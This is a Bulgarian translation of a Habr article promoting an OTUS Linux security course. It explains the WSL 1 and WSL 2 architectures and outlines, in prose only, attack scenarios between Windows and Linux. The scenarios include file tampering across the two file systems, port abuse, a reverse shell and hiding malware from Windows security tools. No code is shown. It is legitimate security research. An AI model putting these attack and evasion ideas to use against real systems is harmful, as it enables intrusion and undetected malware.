WSL СкспСримСнти. Част 1

Π—Π΄Ρ€Π°Π²Π΅ΠΉ, habr! OTUS стартира Π½ΠΎΠ² курс ΠΏΡ€Π΅Π· ΠΎΠΊΡ‚ΠΎΠΌΠ²Ρ€ΠΈ β€žΠ‘ΠΈΠ³ΡƒΡ€Π½ΠΎΡΡ‚ Π½Π° Linuxβ€œ. Π’ ΠΎΡ‡Π°ΠΊΠ²Π°Π½Π΅ Π½Π° Π½Π°Ρ‡Π°Π»ΠΎΡ‚ΠΎ Π½Π° курса, сподСлямС с вас статия, написана ΠΎΡ‚ Π΅Π΄ΠΈΠ½ ΠΎΡ‚ Π½Π°ΡˆΠΈΡ‚Π΅ ΠΏΡ€Π΅ΠΏΠΎΠ΄Π°Π²Π°Ρ‚Π΅Π»ΠΈ ΠΠ»Π΅ΠΊΡΠ°Π½Π΄ΡŠΡ€ КолСсников.

WSL СкспСримСнти. Част 1

ΠŸΡ€Π΅Π· 2016 Π³. Microsoft прСдстави Π½ΠΎΠ²Π°Ρ‚Π° WSL тСхнология Π½Π° ИВ общността (Windows SподсистСма Π·Π° Linux), ΠΊΠΎΠ΅Ρ‚ΠΎ Π² Π±ΡŠΠ΄Π΅Ρ‰Π΅ Π½Π°ΠΏΡ€Π°Π²ΠΈ възмоТно обСдиняванСто Π½Π° ΠΏΡ€Π΅Π΄ΠΈΡˆΠ½ΠΈ Π½Π΅ΠΏΡ€ΠΈΠΌΠΈΡ€ΠΈΠΌΠΈ ΠΊΠΎΠ½ΠΊΡƒΡ€Π΅Π½Ρ‚ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ сС Π±ΠΎΡ€Π΅Ρ…Π° Π·Π° популярност ΠΊΠ°ΠΊΡ‚ΠΎ срСд ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΡ‚Π΅, Ρ‚Π°ΠΊΠ° ΠΈ срСд Π½Π°ΠΏΡ€Π΅Π΄Π½Π°Π»ΠΈΡ‚Π΅ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ Π½Π° ОБ: Windows ΠΈ Linux. Π’Π°Π·ΠΈ тСхнология Π½Π°ΠΏΡ€Π°Π²ΠΈ възмоТно ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° инструмСнти Π½Π° Linux OS Π² срСда Π½Π° Windows, Π±Π΅Π· Π΄Π° Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄Π° стартиратС Linux, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‡Ρ€Π΅Π· Multi-boot. На Habr ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π½Π°ΠΌΠ΅Ρ€ΠΈΡ‚Π΅ голям Π±Ρ€ΠΎΠΉ статии, описващи ΠΏΠΎΠ»Π·ΠΈΡ‚Π΅ ΠΎΡ‚ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° WSL. Π’ΡŠΠΏΡ€Π΅ΠΊΠΈ Ρ‚ΠΎΠ²Π°, Π·Π° съТалСниС, ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅ Π½Π° ΡΡŠΠ·Π΄Π°Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° Ρ‚Π°Π·ΠΈ статия Π½Π° Ρ‚ΠΎΠ·ΠΈ рСсурс Π½Π΅ бяха ΠΎΡ‚ΠΊΡ€ΠΈΡ‚ΠΈ проучвания Π·Π° сигурността Π½Π° Ρ‚Π°ΠΊΠ°Π²Π° симбиоза ΠΎΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΈ систСми. Π’Π°Π·ΠΈ публикация Ρ‰Π΅ бъдС ΠΎΠΏΠΈΡ‚ Π΄Π° сС ΠΊΠΎΡ€ΠΈΠ³ΠΈΡ€Π° Ρ‚ΠΎΠ²Π°. Бтатията Ρ‰Π΅ Π³ΠΎΠ²ΠΎΡ€ΠΈ Π·Π° характСристикитС Π½Π° Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€ΠΈΡ‚Π΅ WSL 1 ΠΈ 2 ΠΈ Ρ‰Π΅ Ρ€Π°Π·Π³Π»Π΅Π΄Π° няколко ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π·Π° Π°Ρ‚Π°ΠΊΠΈ срСщу систСми, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‰ΠΈ Ρ‚Π΅Π·ΠΈ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ. Бтатията Π΅ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π° Π½Π° 2 части. ΠŸΡŠΡ€Π²ΠΈΡΡ‚ Ρ‰Π΅ прСдостави основнитС Ρ‚Π΅ΠΎΡ€Π΅Ρ‚ΠΈΡ‡Π½ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈ Π·Π° Π°Ρ‚Π°ΠΊΠ° ΠΎΡ‚ Linux ΠΈ Windows. Π’Ρ‚ΠΎΡ€Π°Ρ‚Π° статия Ρ‰Π΅ Π²ΠΊΠ»ΡŽΡ‡Π²Π° настройка Π½Π° тСстова срСда ΠΈ Π²ΡŠΠ·ΠΏΡ€ΠΎΠΈΠ·Π²Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° Π°Ρ‚Π°ΠΊΠΈΡ‚Π΅.

WSL 1: Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π½ΠΈ характСристики

Π—Π° Π½Π°ΠΉ-Ρ‚ΠΎΡ‡Π½ΠΎΡ‚ΠΎ Π³ΠΌΡƒΡ€ΠΊΠ°Π½Π΅ Π² ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΈΡ‚Π΅ Π½Π° сигурността Π½Π° WSL Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄Π° сС опрСдСлят основнитС нюанси, ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈ с внСдряванСто Π½Π° подсистСмата. Π•Π΄Π½Π° ΠΎΡ‚ основнитС потрСбитСлски Π·Π°Π΄Π°Ρ‡ΠΈ, Ρ€Π΅ΡˆΠ°Π²Π°Π½ΠΈ ΠΎΡ‚ WSL, Π΅ Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚Ρ‚Π° Π·Π° Ρ€Π°Π±ΠΎΡ‚Π° ΠΏΡ€Π΅Π· Linux Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π» Π½Π° хост, Ρ€Π°Π±ΠΎΡ‚Π΅Ρ‰ с Windows OS. ОсвСн Ρ‚ΠΎΠ²Π° ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π½Π°Ρ‚Π° ΡΡŠΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ бСшС Ρ‚ΠΎΠ»ΠΊΠΎΠ²Π° СстСствСна, Ρ‡Π΅ ΠΈΠ·ΠΏΡŠΠ»Π½ΠΈΠΌΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π½Π° Linux (ELF) ΠΌΠΎΠΆΠ΅Ρ…Π° Π΄Π° сС ΠΈΠ·ΠΏΡŠΠ»Π½ΡΠ²Π°Ρ‚ Π΄ΠΈΡ€Π΅ΠΊΡ‚Π½ΠΎ Π½Π° Windows систСма. Π—Π° постиганСто Π½Π° Ρ‚Π΅Π·ΠΈ Ρ†Π΅Π»ΠΈ Π² Windows 10 бСшС създадСна спСциална подсистСма, която Π²ΠΈ позволява Π΄Π° стартиратС Linux прилоТСния, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ Π½Π°Π±ΠΎΡ€ ΠΎΡ‚ спСцифични систСмни извиквания - ΠΏΠΎ Ρ‚ΠΎΠ·ΠΈ Π½Π°Ρ‡ΠΈΠ½ бСшС Π½Π°ΠΏΡ€Π°Π²Π΅Π½ ΠΎΠΏΠΈΡ‚ Π΄Π° сС ΠΊΠ°Ρ€Ρ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΡ€Π° Π½Π°Π±ΠΎΡ€ ΠΎΡ‚ систСмни извиквания Π½Π° Linux Π² Windows. Π’ΠΎΠ²Π° бСшС физичСски Ρ€Π΅Π°Π»ΠΈΠ·ΠΈΡ€Π°Π½ΠΎ Ρ‡Ρ€Π΅Π· добавянС Π½Π° Π½ΠΎΠ²ΠΈ Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€ΠΈ ΠΈ Π½ΠΎΠ² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π½Π° процСса. Π’ΠΈΠ·ΡƒΠ°Π»Π½ΠΎ Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π°Ρ‚Π° изглСТдашС Ρ‚Π°ΠΊΠ°:

WSL СкспСримСнти. Част 1

Π’ΡΡŠΡ‰Π½ΠΎΡΡ‚ взаимодСйствиСто с ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° систСма Linux бСшС ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π°Π½ΠΎ Ρ‡Ρ€Π΅Π· няколко ΠΌΠΎΠ΄ΡƒΠ»Π° Π½Π° ядрото ΠΈ спСциалСн Ρ‚ΠΈΠΏ процСс - pico. ΠžΡ‚ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠ°Ρ‚Π° ΠΏΠΎ-Π³ΠΎΡ€Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Π΅ ΠΏΡ€ΠΎΡ†Π΅ΡΡŠΡ‚, изпълняван Π½Π° СкзСмпляра Π½Π° Linux Π½Π° хоста, трябва Π΄Π° Π΅ СстСствСн ΠΈ трябва Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΡΡŠΡ‰ΠΈΡ‚Π΅ рСсурси ΠΊΠ°Ρ‚ΠΎ ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΡ‚Π΅ прилоТСния Π½Π° Windows. Но ΠΊΠ°ΠΊ Π΄Π° постигнСм Ρ‚ΠΎΠ²Π°? Π’ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ ПодвиТСн мост Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Π΅Π½ΠΈ са ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ Π·Π° процСси Π·Π° Windows, ΠΊΠΎΠΈΡ‚ΠΎ осигуряват всички Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΈ Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° систСма (Π² зависимост ΠΎΡ‚ Π½Π΅ΠΉΠ½Π°Ρ‚Π° вСрсия) Π·Π° стартиранС Π½Π° ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π° Π΄Ρ€ΡƒΠ³Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π° систСма.

ΠžΠ±ΡŠΡ€Π½Π΅Ρ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Π΅ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π°Ρ‚Π° абстракция Π½Π°ΠΏΡ€Π°Π²ΠΈ възмоТно Π΄Π° Π½Π΅ сС фокусира Π²ΡŠΡ€Ρ…Ρƒ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° систСма (ΠΏΠΎ-спСциално Windows), Π² която сС ΠΎΡ‡Π°ΠΊΠ²Π° Π΄Π° стартира ΠΏΡ€ΠΎΡ†Π΅ΡΡŠΡ‚ Π½Π° Π΄Ρ€ΡƒΠ³Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π° систСма, ΠΈ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈ ΠΎΠ±Ρ‰ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄.

По Ρ‚ΠΎΠ·ΠΈ Π½Π°Ρ‡ΠΈΠ½ всяко ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² pico процСса ΠΌΠΎΠΆΠ΅ Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ Π±Π΅Π· ΠΎΠ³Π»Π΅Π΄ Π½Π° ядрото Π½Π° Windows:

  1. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠΈΡ‚Π΅ със ΡΡŠΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚Ρ‚Π° ΠΈ ΠΏΡ€Π΅Π²ΠΎΠ΄Π° Π½Π° систСмнитС повиквания трябва Π΄Π° сС Ρ€Π΅ΡˆΠ°Π²Π°Ρ‚ ΠΎΡ‚ спСциални доставчици;
  2. ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŠΡ‚ Π½Π° Π΄ΠΎΡΡ‚ΡŠΠΏΠ° трябва Π΄Π° сС ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π° ΠΏΡ€Π΅Π· Security Monitor. ΠœΠΎΠ½ΠΈΡ‚ΠΎΡ€ΡŠΡ‚ сС Π½Π°ΠΌΠΈΡ€Π° Π² ядрото ΠΈ слСдоватСлно Windows сС Π½ΡƒΠΆΠ΄Π°Π΅ΡˆΠ΅ ΠΎΡ‚ Π½Π°Π΄Π³Ρ€Π°ΠΆΠ΄Π°Π½Π΅ ΠΏΠΎΠ΄ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π½Π° Π½ΠΎΠ² Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€, ΠΊΠΎΠΉΡ‚ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° дСйства ΠΊΠ°Ρ‚ΠΎ доставчик Π·Π° Ρ‚Π°ΠΊΠΈΠ²Π° процСси. ΠŸΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΡŠΡ‚ Π½Π° pico процСс Π΅ прСдставСн схСматично ΠΏΠΎ-Π΄ΠΎΠ»Ρƒ:

WSL СкспСримСнти. Част 1

Въй ΠΊΠ°Ρ‚ΠΎ Ρ„Π°ΠΉΠ»ΠΎΠ²Π°Ρ‚Π° систСма Π½Π° Linux ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΈΠΌΠ΅Π½Π° Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ ΠΈ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ, чувствитСлни към ΠΌΠ°Π»ΠΊΠΈ ΠΈ Π³Π»Π°Π²Π½ΠΈ Π±ΡƒΠΊΠ²ΠΈ, 2 Π²ΠΈΠ΄Π° Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΈ систСми бяха Π΄ΠΎΠ±Π°Π²Π΅Π½ΠΈ към Windows Π·Π° Ρ€Π°Π±ΠΎΡ‚Π° с WSL - VolFS ΠΈ DriveFS. VolFS Π΅ имплСмСнтация Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π°Ρ‚Π° систСма Linux, DriveFS Π΅ Ρ„Π°ΠΉΠ»ΠΎΠ²Π° систСма, която Ρ€Π°Π±ΠΎΡ‚ΠΈ спорСд ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ‚Π° Π½Π° Windows, Π½ΠΎ ΠΈΠΌΠ° Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ Π·Π° ΠΈΠ·Π±ΠΎΡ€ Π½Π° чувствитСлност към Π³Π»Π°Π²Π½ΠΈ ΠΈ ΠΌΠ°Π»ΠΊΠΈ Π±ΡƒΠΊΠ²ΠΈ.

WSL 2

WSL 1 имашС Ρ€Π΅Π΄ΠΈΡ†Π° ограничСния, ΠΊΠΎΠΈΡ‚ΠΎ Π½Π΅ ΠΌΡƒ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ…Π° Π΄Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° Ρ€Π΅ΡˆΠ°Π²Π°Π½Π΅ Π½Π° максималСн Π½Π°Π±ΠΎΡ€ ΠΎΡ‚ Π·Π°Π΄Π°Ρ‡ΠΈ: Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‚ΠΎΠΉ нямашС Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ Π΄Π° изпълнява 32-Π±ΠΈΡ‚ΠΎΠ²ΠΈ Linux прилоТСния ΠΈ бСшС нСвъзмоТно Π΄Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€ΠΈ Π½Π° устройства. Π—Π°Ρ‚ΠΎΠ²Π° ΠΏΡ€Π΅Π· 2020 Π³. бСшС пуснат WSL 2, ΠΊΠΎΠΉΡ‚ΠΎ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° Π·Π° ΠΈΠ·Π³Ρ€Π°ΠΆΠ΄Π°Π½Π΅ Π½Π° подсистСмата. WSL 2 Π΅ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€Π°Π½Π° Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»Π½Π° машина, която отговаря Π½Π° характСристикитС Π·Π° ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ Π½Π° рСсурси Π½Π° WSL 1. Π‘Π΅Π³Π°, Π² зависимост ΠΎΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΈΡ‚Π΅, Ρ€Π΅ΡˆΠ΅Π½ΠΈ ΠΎΡ‚ потрСбитСля Π½Π° Windows OS, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΈΠ·Π±Π΅Ρ€Π΅Ρ‚Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ°Ρ‚Π° вСрсия Π½Π° подсистСмата Linux. Π—Π° Π΄Π° смСкчи Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΈΡ‚Π΅ уязвимости, WSL 2 бСшС Π²Π½Π΅Π΄Ρ€Π΅Π½ Π½Π° Π±Π°Π·Π°Ρ‚Π° Π½Π° Hyper-V Π² Windows 10. Π’ Ρ‚Π°Π·ΠΈ Ρ„ΠΎΡ€ΠΌΠ° Windows ΠΈΠΌΠ° способността Π΄Π° изпълнява ядрото Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° систСма Linux ΠΈΠ·ΠΎΠ»ΠΈΡ€Π°Π½ΠΎ. Π‘Ρ‚Ρ€ΡƒΠ²Π° си Π΄Π° ΠΏΡ€ΠΈΠΏΠΎΠΌΠ½ΠΈΠΌ, Ρ‡Π΅ вСрсия 1 Π½Π° WSL бСшС въвСдСна ΠΊΠ°Ρ‚ΠΎ Π±Π΅Ρ‚Π° функция, която Ρ‚Ρ€ΡΠ±Π²Π°ΡˆΠ΅ Π΄Π° ΠΏΠΎΠΊΠ°ΠΆΠ΅ посоката Π½Π° Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ Π½Π° Windows Π² Ρ‚Π°Π·ΠΈ област, Ρ‚Π°ΠΊΠ° Ρ‡Π΅ ΠΏΡ€Π΅Ρ…ΠΎΠ΄ΡŠΡ‚ към Hyper-V бСшС Π½Π΅ΠΈΠ·Π±Π΅ΠΆΠ΅Π½. ΠšΡ€Π°ΠΉΠ½Π°Ρ‚Π° Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π° ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° Ρ‚Π°ΠΊΠ°:

WSL СкспСримСнти. Част 1

Π’ Ρ‚Π°Π·ΠΈ вСрсия ядрата Π½Π° Windows ΠΈ Linux ΠΈΠΌΠ°Ρ‚ свои собствСни рСсурси ΠΈ прСсичанСто ΡΡŠΡ‰Π΅ΡΡ‚Π²ΡƒΠ²Π° само във Ρ„Π°ΠΉΠ»ΠΎΠ²Π°Ρ‚Π° систСма, Π½ΠΎ Ρ‚ΠΎΠ²Π° прСсичанС Π½Π΅ Π΅ пълно. ВзаимодСйствиСто ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΈΡ‚Π΅ систСми сС ΠΎΡΡŠΡ‰Π΅ΡΡ‚Π²ΡΠ²Π° Ρ‡Ρ€Π΅Π· ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° ΠΊΠ»ΠΈΠ΅Π½Ρ‚-ΡΡŠΡ€Π²ΡŠΡ€, която Ρ€Π°Π±ΠΎΡ‚ΠΈ с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° 9P.

ДнСс Microsoft прСдоставя Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ Π·Π° ΠΏΡ€Π΅Π²ΠΊΠ»ΡŽΡ‡Π²Π°Π½Π΅ ΠΌΠ΅ΠΆΠ΄Ρƒ WSL 1 ΠΈ WSL 2. И Π΄Π²Π΅Ρ‚Π΅ вСрсии са Π½Π°Π»ΠΈΡ‡Π½ΠΈ Π·Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅.

WSL сигурност

Π’ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° ΠΈΠΌΠ° няколко Ρ€Π°Π±ΠΎΡ‚ΠΈ, описващи някои ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈ Π·Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½ΠΈ OS инструмСнти Π·Π° Π°Ρ‚Π°ΠΊΠ° Π½Π° комуникацията ΠΌΠ΅ΠΆΠ΄Ρƒ подсистСмитС. Π©Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ Ρ‚Π΅Ρ…Π½ΠΈΡ‚Π΅ скриптовС, Π·Π° Π΄Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ умСстността Π½Π° Π°Ρ‚Π°ΠΊΠΈΡ‚Π΅ към ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π½Π° писанС. ΠžΠ±Ρ‰ списък Π½Π° Π°Ρ‚Π°ΠΊΠΈ ΠΈ сцСнарии:

1. ВнСдряванС Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π° систСма: ΠΏΡ€Π°Π²Π° Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ, Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Π½Π° сподСлСни Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ/ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° ΠΎΠ±ΠΌΠ΅Π½ Π½Π° Π΄Π°Π½Π½ΠΈ.

ΠŸΡ€ΠΎΠ²Π΅Π΄Π΅Π½ΠΈ са изслСдвания Π·Π° установяванС Π½Π° Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡ Π½Π° ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ‚Π° Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ ΠΎΡ‚ Linux FS->Windows FS, Windows FS->Linux FS. Π˜Π·ΡΠ»Π΅Π΄Π²Π°Π½ΠΈΡΡ‚Π° дСмонстрират Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚Ρ‚Π° Π·Π° ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½Π΅ Π½Π° Π΄Π°Π΄Π΅Π½ Ρ„Π°ΠΉΠ» Π² Ρ†Π΅Π»Π΅Π²Π°Ρ‚Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π° систСма. ΠŸΡ€Π°Π²Π΅Π½ΠΈ са ΠΈ ΠΎΠΏΠΈΡ‚ΠΈ Π·Π° подмяна, създаванС Π½Π° Π΄ΡƒΠ±Π»ΠΈΠΊΠ°Ρ‚ΠΈ ΠΈ ΠΈΠ·Ρ‚Ρ€ΠΈΠ²Π°Π½Π΅ Π½Π° част ΠΎΡ‚ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΈΡ‚Π΅ систСми.

скрипт:

  • А. Атака ΠΎΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π° систСма Windows - модификация Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ ΠΎΡ‚ дирСкторията /etc Π½Π° ОБ Linux.
  • B. Атака ΠΎΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π° систСма Linux - модификация Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ: C:Windows, C:Program Files, C:Users<User>

2. РСализация Π½Π° мрСТовия стСк.

Π˜Π·ΡΠ»Π΅Π΄Π²Π°Π½Π΅Ρ‚ΠΎ Π΅ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Π½ΠΎ с ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΈ Π·Π° Π°Ρ‚Π°ΠΊΠΈ ΠΎΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° систСма Linux Π²ΡŠΡ€Ρ…Ρƒ Windows. Използвани са характСристикитС Π½Π° мрСТовия стСк, Π° ΠΈΠΌΠ΅Π½Π½ΠΎ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° удостовСряванС Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ рСсурси.

скрипт:

  • ΠžΡ‚Π²Π°Ρ€ΡΠ½Π΅ Π½Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ ΠΏΠΎΡ€Ρ‚, ΠΊΠΎΠΉΡ‚ΠΎ Π΅ Π·Π°Π΅Ρ‚ Π² Windows систСма
  • ΠžΡ‚Π²Π°Ρ€ΡΠ½Π΅ Π½Π° ΠΏΠΎΡ€Ρ‚ Π±Π΅Π· ΡΡŠΠΎΡ‚Π²Π΅Ρ‚Π½ΠΈΡ‚Π΅ ΠΏΡ€Π°Π²Π°
  • ИзпълнСниС Π½Π° ΠΎΠ±Ρ€Π°Ρ‚Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° elf Ρ„Π°ΠΉΠ» Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π° систСма Windows.

3. Π‘ΠΊΡ€ΠΈΠ²Π°Π½Π΅ Π½Π° стартиранСто Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ софтуСрни процСси с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° подсистСмата WSL.

Π˜Π·ΡΠ»Π΅Π΄Π²Π°Π½Π΅Ρ‚ΠΎ сС основава Π½Π° прост Ρ„Π°ΠΊΡ‚ - подсистСмитС Π·Π° сигурност Π½Π΅ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° ΠΏΡ€ΠΈΡ…Π²Π°Ρ‰Π°Ρ‚ ΡΡŠΠ±ΠΈΡ‚ΠΈΡ Π² Π΄Ρ€ΡƒΠ³ΠΎ ядро, ΠΊΠΎΠ΅Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚ΠΈ с Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ΅Π½ доставчик ΠΎΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° систСма Π² случай Π½Π° WSL 1. Π’ случая Π½Π° WSL 2 няма Π½Π°Ρ‡ΠΈΠ½ Π΄Π° сС видят ΡΡŠΠ±ΠΈΡ‚ΠΈΡ, ΠΊΠΎΠΈΡ‚ΠΎ сС случват Π² ΠΎΡ‚Π΄Π΅Π»Π½ΠΎ ядро ​​в Ρ€Π°ΠΌΠΊΠΈΡ‚Π΅ Π½Π° Π»Π΅ΠΊΠ° Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»Π½Π° машина.

скрипт:

